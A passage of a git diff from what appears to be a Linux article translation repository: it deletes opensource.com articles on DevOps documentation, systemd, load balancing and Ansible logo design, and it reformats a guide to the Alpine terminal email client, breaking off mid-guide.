DevOps best practices - -Documentation also plays a role in DevOps transformation. You're going to want to document the best practices that help your organization realize efficiency and process gains from DevOps. This information is too important to communicate only by word of mouth across your DevOps teams. Documentation is a unifying force if your organization has multiple DevOps teams; it promotes standardization of best practices and sets you up to capture and benchmark metrics for code quality. - -Often it's developers who shoulder the work of documenting DevOps practices. Even if their organizations have technical writers, they might work across development teams. Thus, it's important that developers and sysadmins can capture, document, and communicate their best practices. Here are some tips to get that effort going in the right direction: - - * Invest the time upfront to create a standard template for your DevOps best practices. Don't fall into the trap of copying a template you find online. Interview your stakeholders and teams to create a template that meets your team's needs. - * Look for ways to be creative with information gathering, such as recording your team meetings and using chat system logs to serve as a foundation for your documentation. - * Establish a wiki for publishing your best practices. Use a wiki that lets you maintain an audit trail of edits and updates. Such a platform sets your teams up to update and maintain best practices as they change. - - - -It's smart to document dependencies as you build out your CI/CD toolchains. Such an effort pays off when you onboard new team members. It's also a little bit of insurance when a team member forgets something. - -Finally, automation is enticing to DevOps stakeholders and practitioners alike. It's all fun and games until automation breaks. Having documentation for automation run books, admin guides, and other things in place (and up to date) means your staff can get automation working again regardless of when it breaks down. - -### Final thoughts - -DevOps is a net positive for technical documentation. It pulls content development into the DevOps lifecycle and breaks down the siloes between developers and technical writers within the organizational culture. Without the luxury of a technical writer, teams get the tools to accelerate their document authoring's velocity to match the speed of DevOps. - -What is your organization doing to bring documentation into the DevOps lifecycle? Please share your experience in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/3/devops-documentation - -作者:[Will Kelly][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/willkelly -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/typewriter-hands.jpg?itok=oPugBzgv (Typewriter with hands) -[2]: https://opensource.com/article/19/11/hiring-technical-writers-devops -[3]: https://searchitoperations.techtarget.com/opinion/Make-DevOps-documentation-an-integral-part-of-your-strategy?_ga=2.73253915.980148481.1610758264-908287796.1564772842 -[4]: https://www.agilealliance.org/glossary/definition-of-done -[5]: https://developers.google.com/season-of-docs -[6]: https://swagger.io/specification/ -[7]: https://devops.com/continuous-documentation -[8]: https://www.cmswire.com/cms/information-management/the-importance-of-docops-in-the-new-era-of-business-027489.php -[9]: https://opensource.com/article/20/7/sharepoint-alternative -[10]: https://opensource.com/article/20/7/nextcloud diff --git a/sources/tech/20210415 5 reasons sysadmins love systemd.md b/sources/tech/20210415 5 reasons sysadmins love systemd.md deleted file mode 100644 index f063a55ddc..0000000000 --- a/sources/tech/20210415 5 reasons sysadmins love systemd.md +++ /dev/null @@ -1,204 +0,0 @@ -[#]: subject: (5 reasons sysadmins love systemd) -[#]: via: (https://opensource.com/article/21/4/sysadmins-love-systemd) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -5 reasons sysadmins love systemd -====== -Systemd's speed and ease make it a popular way to manage modern Linux -systems. -![Woman sitting in front of her laptop][1] - -As systems administrators know, there's a lot happening on modern computers. Applications run in the background, automated events wait to be triggered at a certain time, log files are written, status reports are delivered. Traditionally, these disparate processes have been managed and monitored with a collection of Unix tools to great effect and with great efficiency. However, modern computers are diverse, with local services running alongside containerized applications, easy access to clouds and the clusters they run on, real-time processes, and more data to process than ever. - -Having a unified method of managing them is an expectation for users and a useful luxury for busy sysadmins. For this nontrivial task, the system daemon, or **systemd**, was developed and quickly adopted by all major Linux distributions. - -Of course, systemd isn't the only way to manage a Linux system. There are many alternative init systems, including sysvinit, OpenRC, runit, s6, and even BusyBox, but systemd treats Linux as a unified data set, meant to be manipulated and queried consistently with robust tools. For a busy systems administrator and many users, the speed and ease of systemd is an important feature. Here are five reasons why. - -### Boot management - -Booting a Linux computer can be a surprisingly rare event, if you want it to be. Certainly in the server world, uptimes are often counted in _years_ rather than months or weeks. Laptops and desktops tend to be shut down and booted pretty frequently, although even these are as likely to be suspended or hibernated as they are to be shut down. Either way, the time since the most recent boot event can serve as a sort of session manager for a computer health check. It's a useful way to limit what data you look at when monitoring your system or diagnosing problems. - -In the likely event that you can't remember the last time you booted your computer, you can list boot sessions with systemd's logging tool, `journalctl`: - - -``` -$ journalctl --list-boots --42 7fe7c3... Fri 2020-12-04 05:13:59 - Wed 2020-12-16 16:01:23 --41 332e99... Wed 2020-12-16 20:07:39 - Fri 2020-12-18 22:08:13 -[...] --1 e0fe5f... Mon 2021-03-29 20:47:46 - Mon 2021-03-29 21:59:29 - 0 37fbe4... Tue 2021-03-30 04:46:13 - Tue 2021-03-30 10:42:08 -``` - -The latest boot sessions appear at the bottom of the list, so you can pipe the output to `tail` for just the latest boots. - -The numbers on the left (42, 41, 1, and 0 in this example) are index numbers for each boot session. In other words, to view logs for only a specific boot session, you can use its index number as reference. - -### Log reviews - -Looking at logs is an important method of extrapolating information about your system. Logs provide a history of much of the activity your computer engages in without your direct supervision. You can see when services launched, when timed jobs ran, what services are running in the background, which activities failed, and more. One of the most common initial troubleshooting steps is to review logs, which is easy to do with `journalctl`: - - -``` -`$ journalctl --pager-end` -``` - -The `--pager-end` (or `-e` for short) option starts your view of the logs at the end of the `journalctl` output, so you must scroll up to see events that happened earlier. - -Systemd maintains a "catalog" of errors and messages filled with records of errors, possible solutions, pointers to support forums, and developer documentation. This can provide important context to a log event, which can otherwise be a confusing blip in a sea of messages, or worse, could go entirely unnoticed. To integrate error messages with explanatory text, you can use the `--catalog` (or `-x` for short) option: - - -``` -`$ journalctl --pager-end --catalog` -``` - -To further limit the log output you need to wade through, you can specify which boot session you want to see logs for. Because each boot session is indexed, you can specify certain sessions with the `--boot` option and view only the logs that apply to it: - - -``` -`$ journalctl --pager-end --catalog --boot 42` -``` - -You can also see logs for a specific systemd unit. For instance, to troubleshoot an issue with your secure shell (SSH) service, you can specify `--unit sshd` to see only the logs that apply to the `sshd` daemon: - - -``` -$ journalctl --pager-end \ -\--catalog --boot 42 \ -\--unit sshd -``` - -### Service management - -The first task for systemd is to boot your computer, and it generally does that promptly, efficiently, and effectively. But the task that's never finished is service management. By design, systemd ensures that the services you want to run do indeed start and continue running during your session. This is nicely robust, because in theory even a crashed service can be restarted without your intervention. - -Your interface to help systemd manage services is the `systemctl` command. With it, you can view the unit files that define a service: - - -``` -$ systemctl cat sshd -# /usr/lib/systemd/system/sshd.service -[Unit] -Description=OpenSSH server daemon -Documentation=man:sshd(8) man:sshd_config(5) -After=network.target sshd-keygen.target -Wants=sshd-keygen.target - -[Service] -Type=notify -EnvironmentFile=-/etc/crypto-policies/back-ends/opensshserver.config -EnvironmentFile=-/etc/sysconfig/sshd -ExecStart=/usr/sbin/sshd -D $OPTIONS $CRYPTO_POLICY -ExecReload=/bin/kill -HUP $MAINPID -KillMode=process -Restart=on-failure -RestartSec=42s - -[Install] -WantedBy=multi-user.target -``` - -Most unit files exist in `/usr/lib/systemd/system/` but, as with many important configurations, you're encouraged to modify them with local changes. There's an interface for that, too: - - -``` -`$ systemctl edit sshd` -``` - -You can see whether a service is currently active: - - -``` -$ systemctl is-active sshd -active -$ systemctl is-active foo -inactive -``` - -Similarly, you can see whether a service has failed with `is-failed`. - -Starting and stopping services is nicely intuitive: - - -``` -$ systemctl stop sshd -$ systemctl start sshd -``` - -And enabling a service to start at boot time is simple: - - -``` -`$ systemctl enable sshd` -``` - -Add the `--now` option to enable a service to start at boot time or to start it for your current session. - -### Timers - -Long ago, when you wanted to automate a task on Linux, the canonical tool for the job was `cron`. There's still a place for the cron command, but there are also some compelling alternatives. For instance, the [`anacron` command][2] is a versatile, cron-like system capable of running tasks that otherwise would have been missed during downtime. - -Scheduled events are little more than services activated at a specific time, so systemd manages a cron-like function called [timers][3]. You can list active timers: - - -``` -$ systemctl list-timers -NEXT                          LEFT       -Tue 2021-03-30 12:37:54 NZDT  16min left [...] -Wed 2021-03-31 00:00:00 NZDT  11h left [...] -Wed 2021-03-31 06:42:02 NZDT  18h left [...] - -3 timers listed. -Pass --all to see loaded but inactive timers, too. -``` - -You can enable a timer the same way you enable a service: - - -``` -`$ systemctl enable myMonitor.timer` -``` - -### Targets - -Targets are the final major component of the systemd matrix. A target is defined by a unit file, the same as services and timers. Targets can also be started and enabled in the same way. What makes targets unique is that they group other unit files in an arbitrarily significant way. For instance, you might want to boot to a text console instead of a graphical desktop, so the `multi-user` target exists. However, the `multi-user` target is only the `graphical` target without the desktop unit files as dependencies. - -In short, targets are an easy way for you to collect services, timers, and even other targets together to represent an intended state for your machine. - -In fact, within systemd, a reboot, a power-off, or a shut-down action is just another target. - -You can list all available targets using the `list-unit-files` option, constraining it with the `--type` option set to `target`: - - -``` -`$ systemctl list-unit-files --type target` -``` - -### Taking control with systemd - -Modern Linux uses systemd for service management and log introspection. It provides everything from personal Linux systems to enterprise servers with a modern mechanism for monitoring and easy maintenance. The more you use it, the more systemd becomes comfortably predictable and intuitive, and the more you discover how disparate parts of your system are interconnected. - -To get better acquainted with systemd, you must use it. And to get comfortable with using it, [download our cheat sheet][4] and refer to it often. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/sysadmins-love-systemd - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_4.png?itok=VGZO8CxT (Woman sitting in front of her laptop) -[2]: https://opensource.com/article/21/2/linux-automation -[3]: https://opensource.com/article/20/7/systemd-timers -[4]: https://opensource.com/downloads/linux-systemd-cheat-sheet diff --git a/sources/tech/20210415 A beginner-s guide to load balancing.md b/sources/tech/20210415 A beginner-s guide to load balancing.md deleted file mode 100644 index b12f5c066a..0000000000 --- a/sources/tech/20210415 A beginner-s guide to load balancing.md +++ /dev/null @@ -1,84 +0,0 @@ -[#]: subject: (A beginner's guide to load balancing) -[#]: via: (https://opensource.com/article/21/4/load-balancing) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -A beginner's guide to load balancing -====== -Load balancing distributes resources to where they're needed most at -that moment. -![eight stones balancing][1] - -When the personal computer was young, a household was likely to have one (or fewer) computers in it. Children played games on it during the day, and parents did accounting or programming or roamed through a BBS in the evening. Imagine a one-computer household today, though, and you can predict the conflict it would create. Everyone would want to use the computer at the same time, and there wouldn't be enough keyboard and mouse to go around. - -This is, more or less, the same scenario that's been happening to the IT industry as computers have become more and more ubiquitous. Demand for services and servers has increased to the point that they could grind to a halt from overuse. Fortunately, we now have the concept of load balancing to help us handle the demand. - -### What is load balancing? - -Load balancing is a generic term referring to anything you do to ensure the resources you manage are distributed efficiently. For a web server's systems administrator, load balancing usually means ensuring that the web server software (such as [Nginx][2]) is configured with enough worker nodes to handle a spike in incoming visitors. In other words, should a site suddenly become very popular and its visitor count quadruple in a matter of minutes, the software running the server must be able to respond to each visitor without any of them noticing service degradation. For simple sites, this is as simple as a one-line configuration option, but for complex sites with dynamic content and several database queries for each user, it can be a serious problem. - -This problem is supposed to have been solved with cloud computing, but it's not impossible for a web app to fail to scale out when it experiences an unexpected surge. - -The important thing to keep in mind when it comes to load balancing is that distributing resources _efficiently_ doesn't necessarily mean distributing them _evenly_. Not all tasks require all available resources at all times. A smart load-balancing strategy provides resources to users and tasks only when those resources are needed. This is often the application developer's domain rather than the IT infrastructure's responsibility. Asynchronous applications are vital to ensuring that a user who walks away from the computer for a coffee break isn't occupying valuable resources on the server. - -### How does load balancing work? - -Load balancing avoids bottlenecks by distributing a workload across multiple computational nodes. Those nodes may be physical servers in a data center, containers in a cloud, strategically placed servers enlisted for edge computing, separate Java Virtual Machines (JVMs) in a complex application framework, or daemons running on a single Linux server. - -The idea is to divide a large problem into small tasks and assign each task to a dedicated computer. For a website that requires its users to log in, for instance, the website might be hosted on Server A, while the login page and all the authentication lookups that go along with it are hosted on Server B. This way, the process of a new user logging into an account doesn't steal resources from other users actively using the site. - -#### Load balancing the cloud - -Cloud computing uses [containers][3], so there aren't usually separate physical servers to handle distinct tasks (actually, there are many separate servers, but they're clustered together to act as one computational "brain"). Instead, a "pod" is created from several containers. When one pod starts to run out of resources due to its user or task load, an identical pod is generated. Pods share storage and network resources, and each pod is assigned to a compute node as it's created. Pods can be created or destroyed on demand as the load requires so that users experience consistent quality of service regardless of how many users there are. - -#### Edge computing - -[Edge computing][4] takes the physical world into account when load balancing. The cloud is naturally a distributed system, but in practice, a cloud's nodes are usually concentrated in a few data centers. The further a user is from the data center running the cloud, the more physical barriers they must overcome for optimal service. Even with fiber connections and proper load balancing, the response time of a server located 3,000 miles away is likely greater than the response time of something just 300 miles away. - -Edge computing brings compute nodes to the "edge" of the cloud in an attempt to bridge the geographic divide, forming a sort of satellite network for the cloud, so it also plays a part in a good load-balancing effort. - -### What is a load-balancing algorithm? - -There are many strategies for load balancing, and they range in complexity depending on what technology is involved and what the requirements demand. Load balancing doesn't have to be complicated, and it's important, even when using specialized software like [Kubernetes][5] or [Keepalived][6], to start load balancing from inception. - -Don't rely on containers to balance the load when you could design your application to take simple precautions on its own. If you design your application to be modular and ephemeral from the start, then you'll benefit from the load balancing opportunities made available by clever network design, container orchestration, and whatever tomorrow's technology brings. - -Some popular algorithms that can guide your efforts as an application developer or network engineer include: - - * Assign tasks to servers sequentially (this is often called _round-robin_). - * Assign tasks to the server that's currently the least busy. - * Assign tasks to the server with the best response time. - * Assign tasks randomly. - - - -These principles can be combined or weighted to favor, for instance, the most powerful server in a group when assigning particularly complex tasks. [Orchestration][7] is commonly used so that an administrator doesn't have to drum up the perfect algorithm or strategy for load balancing, although sometimes it's up to the admin to choose which combination of load balancing schemes to use. - -### Expect the unexpected - -Load balancing isn't really about ensuring that all your resources are used evenly across your network. Load balancing is all about guaranteeing a reliable user experience even when the unexpected happens. Good infrastructure can withstand a computer crash, application overload, onslaught of network traffic, and user errors. Think about how your service can be resilient and design load balancing accordingly from the ground up. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/load-balancing - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/water-stone-balance-eight-8.png?itok=1aht_V5V (eight stones balancing) -[2]: https://opensource.com/business/15/4/nginx-open-source-platform -[3]: https://opensource.com/resources/what-are-linux-containers -[4]: https://opensource.com/article/18/5/edge-computing -[5]: https://opensource.com/resources/what-is-kubernetes -[6]: https://www.redhat.com/sysadmin/keepalived-basics -[7]: https://opensource.com/article/20/11/orchestration-vs-automation diff --git a/sources/tech/20210426 How we built an open source design system to create new community logos.md b/sources/tech/20210426 How we built an open source design system to create new community logos.md deleted file mode 100644 index 81089c3c74..0000000000 --- a/sources/tech/20210426 How we built an open source design system to create new community logos.md +++ /dev/null @@ -1,134 +0,0 @@ -[#]: subject: (How we built an open source design system to create new community logos) -[#]: via: (https://opensource.com/article/21/4/ansible-community-logos) -[#]: author: (Fiona Lin https://opensource.com/users/fionalin) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How we built an open source design system to create new community logos -====== -Learn how Ansible's new logos were developed with stakeholder input to -ensure a consistent brand across the entire project. -![UX design Mac computer with mobile and laptop][1] - -As interaction designers on Red Hat's User Experience (UX) Design and Ansible product teams, we worked for about six months to build a logo family with the Ansible community. This journey started even earlier when a project manager asked us for a "quick and easy" logo for a slide deck. After gathering a few requirements, we presented a logo to the stakeholders within a few days and without much need for iteration. A few months later, another stakeholder decided they would also benefit from having imagery for their materials, so we repeated the process. - -At this point, we noticed a pattern: logo resources like these no longer represented individual requests but rather a common need across the Ansible project. After completing several logo requests, we had built a makeshift series that—without conscious branding and design conventions—created the potential for visual inconsistencies across the Ansible brand. As the logo collection grew, we recognized this looming problem and the need to combat it. - -Our solution was to create an Ansible design system, a brand-specific resource to guide consistent logo design well into the future. - -### What is a design system? - -A design system is a collection of reusable assets and guidelines that help inform the visual language of any digital product suite. Design systems create patterns to bring separate products together and elevate brands through scalability and consistency. - -Especially in a large corporation with multiple products in the portfolio, scaling does not come easily without standardization as different teams contribute to each product. Design systems work as a baseline for each team to build new assets on. With a standardized look and feel, products are unified as one family across the portfolio. - -### Getting started building a design system - -After receiving a series of requests from stakeholders to create logos for the open source Ansible community, such as Ansible Builder, Ansible Runner, and Project Receptor, we decided to design a structure for our workflow and create a single source of truth to work for moving forward. - -First, we conducted a visual audit of the existing logos to determine what we had to work with. Ansible's original logo family consists of four main images: the Angry Spud for AWX, the Ansibull for Ansible Core/Engine, and the monitor with wings for AWX. Most of the logos were tied together with a consistent shade of red and bull imagery, but the stroke width, stroke color, line quality, and typography were vast and varied. - -![Original Ansible logos][2] - -(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) - -The Angry Spud uses a tan outline and a hand-drawn style, while the bull is a symmetrical, geometric vector. The AWX monitor was the outlier with its thin line-art wings, blue vector rectangle, and Old English typeface (not included here, but an exception from the rest of the family, which uses a modern sans serif). - -### Establishing new design criteria - -Taking color palette, typography, and imagery into consideration, we generated a consistent composition that features the Ansibull for all core Ansible products, along with bold lines and vibrant colors. - -![Ansible design system][4] - -(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) - -The new Ansible community logo design style guide details the color palette, typography, sizing, spacing, and logo variations for Ansible product logos. - -The new style guide presents a brand new, modern custom typeface based on GT America by [Grilli Type][5], an independent Swiss type foundry. We created a softer look for the typeface to match the imagery's roundedness by rounding out certain corners of each letter. - -We decided to curate a more lively, saturated, and universal color palette by incorporating more colors in the spectrum and basing them on primary colors. The new palette features light blue, yellow, and pink, each with a lighter highlight and darker shadow. This broader color scope allows more flexibility within the system and introduces a 3D look and feel. - -![New Ansible logos][6] - -(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) - -We also introduced new imagery, such as the hexagons in the Receptor and AWX logos for visual continuity. Finally, we made sure each logo works on both light and dark backgrounds for maximum flexibility. - -### Expanding the design portfolio - -Once we established the core logo family, we moved onto creating badges for Ansible services, such as Ansible Demo and Ansible Workshop. To differentiate services from products, we decided to enclose service graphics in a circle that contains the name of the service in the same custom typography. The new service badges show the baby Ansibull (from the Ansible Builder logo) completing tasks related to each service, such as pointing to a whiteboard for Ansible Demo or using building tools for Ansible Workshop. - -![New Ansible services logos][7] - -(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) - -### Using open source for design decisions - -The original AWX logo was influenced by rock-and-roll imagery, such as the wings and the heavy metal typeface (omitted from the image here). - -![Original AWX logo][8] - -(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) - -Several members of the Ansible community, including the Red Hat Diversity and Inclusion group, brought to our attention that these elements resemble imagery used by hate groups. - -Given the social implications of the original logo's imagery, we had to work quickly with the Ansible community to design a replacement. Instead of working in a silo, as we did for the initial logos, we broadened the project's scope to carefully consider a wider range of stakeholders, including the Ansible community, Red Hat Diversity and Inclusion group, and Red Hat Legal team. - -We started brainstorming by reaching out to the Ansible open source community for ideas. One of the Ansible engineers, Rebeccah Hunter, contributed in the sketching phase and later became an embedded part of our design team. Part of the challenge of involving a large group of stakeholders was that we had a variety of ideas for new logo concepts, ranging from an auxiliary cable to a bowl of ramen. - -We sketched five community-surfaced logos, each featuring a different branded visual: a sprout, a rocket, a monitor, a bowl of ramen, and an auxiliary cable. - -![AWX logo concepts][9] - -(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) - -After completing these initial concept sketches, we set up a virtual voting mechanism that we used throughout the iteration process. This voting system allowed us to use community feedback to narrow from five initial concepts down to three: the rocket, the bowl of ramen, and the monitor. We further iterated on these three directions and presented back, via a Slack channel dedicated to this effort, until we landed on one direction, the AWX monitor, that aligned with the community's vision. - -![New AWX logo][10] - -(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) - -With community voices as our guide, we pursued the monitor logo concept for AWX. We preserved the monitor element from the original logo while modernizing the look and feel to match our updated design system. We used a more vibrant color palette, a cleaner sans-serif typeface, and elements, including the hexagon motif, from the Project Receptor logo. - -By engaging with our community from the beginning of the process, we were able to design and iterate in the open with a sense of inclusiveness from all stakeholders. In the end, we felt this was the best approach for replacing a controversial logo. The final version was handed off to the Red Hat Legal team, and after approval, we replaced all current assets with this new logo. - -### Key takeaways - -Creating a set of rules and assets for a design system keeps your digital products consistent across the board, eliminates brand confusion, and enables scalability. - -As you explore building a design system with your own community, you may benefit from these key takeaways we learned along our path: - - * Scaling new logos with a design system is a much easier process than without one. - * Juggling design options becomes less daunting when you use a polling system to validate results. - * Directing a large audience's attention on sets of three eliminates decision fatigue and focuses community feedback. - - - -We hope this article provides insight into designing a system with an open source community and helps you recognize the benefit of developing a system early in your process. If you are creating a new design system, what questions do you have? And if you have created one, what lessons have you learned? Please share your ideas in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/ansible-community-logos - -作者:[Fiona Lin][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/fionalin -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ux-design-mac-laptop.jpg?itok=9-HKgXa9 (UX design Mac computer with mobile and laptop) -[2]: https://opensource.com/sites/default/files/pictures/original_logos.png (Original Ansible logos) -[3]: https://creativecommons.org/licenses/by-sa/4.0/ -[4]: https://opensource.com/sites/default/files/pictures/design_system.png (Ansible design system) -[5]: https://www.grillitype.com/ -[6]: https://opensource.com/sites/default/files/pictures/new_logos.png (New Ansible logos) -[7]: https://opensource.com/sites/default/files/pictures/new_service_badges.png (New Ansible services logos) -[8]: https://opensource.com/sites/default/files/uploads/awx_original.png (Original AWX logo) -[9]: https://opensource.com/sites/default/files/uploads/awx_concepts.png (AWX logo concepts) -[10]: https://opensource.com/sites/default/files/uploads/awx.png (New AWX logo) diff --git a/sources/tech/20210511 Use the Alpine email client in your Linux terminal.md b/sources/tech/20210511 Use the Alpine email client in your Linux terminal.md index 83930d59c3..7f4e8155e6 100644 --- a/sources/tech/20210511 Use the Alpine email client in your Linux terminal.md +++ b/sources/tech/20210511 Use the Alpine email client in your Linux terminal.md @@ -1,15 +1,16 @@ -[#]: subject: (Use the Alpine email client in your Linux terminal) -[#]: via: (https://opensource.com/article/21/5/alpine-linux-email) -[#]: author: (David Both https://opensource.com/users/dboth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "Use the Alpine email client in your Linux terminal" +[#]: via: "https://opensource.com/article/21/5/alpine-linux-email" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Use the Alpine email client in your Linux terminal ====== Configure Alpine to handle your email the way you like it. + ![Chat via email][1] Email is an important communications medium and will remain so for the foreseeable future. I have used many different email clients over the last 30 years, and [Thunderbird][2] is what I have used the most in recent years. It is an excellent and functional desktop application that provides all the features that most people need—including me. @@ -22,7 +23,7 @@ This desire to go retro with my email client started back in 2017 when I wrote a I recently decided to exclusively use Alpine for email. The main attraction is the ease of use offered by keeping my hands on the keyboard (and reducing the number of times I need to reach for the mouse). It is also about scratching my sysadmin itch to do something different and use an excellent text mode interface in the process. -## Getting started +### Getting started I already had Alpine set up from my previous use, so it was just a matter of starting to use it again. @@ -32,18 +33,17 @@ I previously set up Alpine on my mail server—I used secure shell (SSH) to log But now I want to run Alpine on my workstation or laptop. It's relatively simple to configure Alpine on the same host as the email server. Using it on a remote computer requires a good bit more. -## Install Alpine +### Install Alpine Installing Alpine on Fedora is simple because it is available from the Fedora repository. Just use DNF as root: - ``` -`# dnf -y install alpine` +# dnf -y install alpine ``` This command installs Alpine and any prerequisite packages that are not already installed. Alpine's primary dependencies are Sendmail, Hunspell, OpenLDAP, OpenSSL, krb5-libs, ncurses, and a couple of others. In my case, Alpine was the only package installed. -## Launch Alpine +### Launch Alpine To launch Alpine, open a terminal session, type **alpine** on the command line, and press **Enter**. @@ -51,7 +51,6 @@ The first time you start Alpine, it displays a message that it is creating the u For now, just press lowercase **e** to exit from the greeting message. You should now see Alpine's Main menu (I deleted several blank lines of the output to save space): - ``` +----------------------------------------------------+ | ALPINE 2.24 MAIN MENU Folder: INBOX No Messages    | @@ -77,25 +76,24 @@ For now, just press lowercase **e** to exit from the greeting message. You shoul | For Copyright information press "?"                | |                                                    | | ? Help P PrevCmd R RelNotes                        | -| O OTHER CMDS > [ListFldrs] N NextCmd K KBLock      | +| O OTHER CMDS > [ListFldrs] N NextCmd K KBLock      | +----------------------------------------------------+ ``` -_Figure 1: Alpine's Main menu_ +*Figure 1: Alpine's Main menu* Alpine creates the `~mail` directory localhost during initial use. When you configure the IMAP server, Alpine creates the default `~/mail`, `~/mail/sent-mail`, and `saved-messages` folders in your home directory on the IMAP server. You can change the defaults, but I recommend against it. When using IMAP, emails are not stored locally unless you copy them to local folders. All emails are stored in the Inbox on the SMTP server until they are saved to a folder on the IMAP server. The SMTP and IMAP servers might use the same or different hosts. Alpine also assumes that the Inbox is located at `/var/spool/mail/user_name` on the email SMTP server. This article explains how to configure both IMAP and SMTP servers. The email administrator for your organization—that might be you—will add your account to the IMAP server and provide you with the initial password. -## The Alpine interface +### The Alpine interface The Alpine user interface (UI) is a text-mode, menu-driven UI, also known as a TUI. This type of interface is also sometimes called captive user interface (CUI), which does not provide a command-line interface that can be used in scripts, for example. You must exit from the program to perform other tasks. By contrast, the [mailx][5] program is an email program that can be used with either a TUI, from the command line, or in scripts. For example, you can use the following command to send the results of the free command directly to the sysadmin's email account: - ``` -`$ free | mailx -s "Free memory" sysadmin@example.com` +$ free | mailx -s "Free memory" sysadmin@example.com ``` But enough of that little side trip; there is work to do. Let's start with an explanation. @@ -106,20 +104,19 @@ On the Main menu, you can use the **Up** and **Down** arrow keys to highlight a Use the **Page Down** and **Page Up** keys to scroll through the commands if you can't see them all. The secondary menu at the bottom of the page usually lists all the commands available on the current menu; you will also see a message similar to this: - ``` -`[START of Information About Setup Command]` +[START of Information About Setup Command] ``` Should you find yourself at a place you don't want to be, such as creating a new email, responding to one, or making changes to settings, and decide you don't want to do that, **Ctrl+C** allows you to cancel the current task. In most cases, you will be asked to confirm that you want to cancel by pressing the **C** key. Note that **^C** in the secondary menu represents **Ctrl+C**. Many commands use the **Ctrl** key, so you will see **^** quite frequently on some menus. Finally, to quit Alpine, you can press **Q**; when it asks, "Really quit Alpine?" respond with **Y** to exit. Like many commands, **Q** is not available from all menus. -## Help +### Help Help is available from all of the menus I have tried. You can access detailed help for each menu item by highlighting the item you need information for and pressing the **?** key to obtain context-sensitive help. -## Configuration +### Configuration When I started using Alpine regularly, I made the minimum changes to the configuration needed to send and receive emails. As I gained more experience with Alpine, I changed other configuration items to make things work easier or more to my liking. @@ -127,100 +124,97 @@ First, I will explain the basic configurations required to make Alpine work, the If you have been exploring a bit on your own—which is a good thing—return to the Main menu. To get to Alpine's Configuration menu from the Main menu, type **S** for Setup. You will see a menu like this: - ``` -ALPINE 2.24 SETUP Folder: INBOX No Messages +ALPINE 2.24 SETUP Folder: INBOX No Messages -This is the Setup screen for Alpine. Choose from the following commands: +This is the Setup screen for Alpine. Choose from the following commands: -(E) Exit Setup: -This puts you back at the Main Menu. +(E) Exit Setup: +This puts you back at the Main Menu. -(P) Printer: -Allows you to set a default printer and to define custom -print commands. +(P) Printer: +Allows you to set a default printer and to define custom +print commands. -(N) Newpassword: -Change your password. +(N) Newpassword: +Change your password. -(C) Config: -Allows you to set or unset many features of Alpine. -You may also set the values of many options with this command. +(C) Config: +Allows you to set or unset many features of Alpine. +You may also set the values of many options with this command. -(S) Signature: -Enter or edit a custom signature which will -be included with each new message you send. +(S) Signature: +Enter or edit a custom signature which will +be included with each new message you send.   -(A) AddressBooks: -Define a non-default address book. +(A) AddressBooks: +Define a non-default address book.   -(L) collectionLists: -You may define groups of folders to help you better organize your mail. +(L) collectionLists: +You may define groups of folders to help you better organize your mail.   -(R) Rules: -This has up to six sub-categories: Roles, Index Colors, Filters, - [START of Information About Setup Command ] +(R) Rules: +This has up to six sub-categories: Roles, Index Colors, Filters, + [START of Information About Setup Command ] ? Help E Exit Setup N Newpassword S Signature L collectionList D Directory   O OTHER CMDS P Printer C Config A AddressBooks R Rules K Kolor ``` -_Figure 2: Alpine Setup menu_ +*Figure 2: Alpine Setup menu* The Setup menu groups the very large number of setup items into related categories to, hopefully, make the ones you want easier to locate. Use **Page Down** and **Page Up** to scroll through the commands if you can't see them all. I'll start with the settings necessary to get email—Alpine's entire purpose—up and running. -## Config +### Config The Config section contains 15 pages (on my large screen) of option- and feature-configuration items. These settings 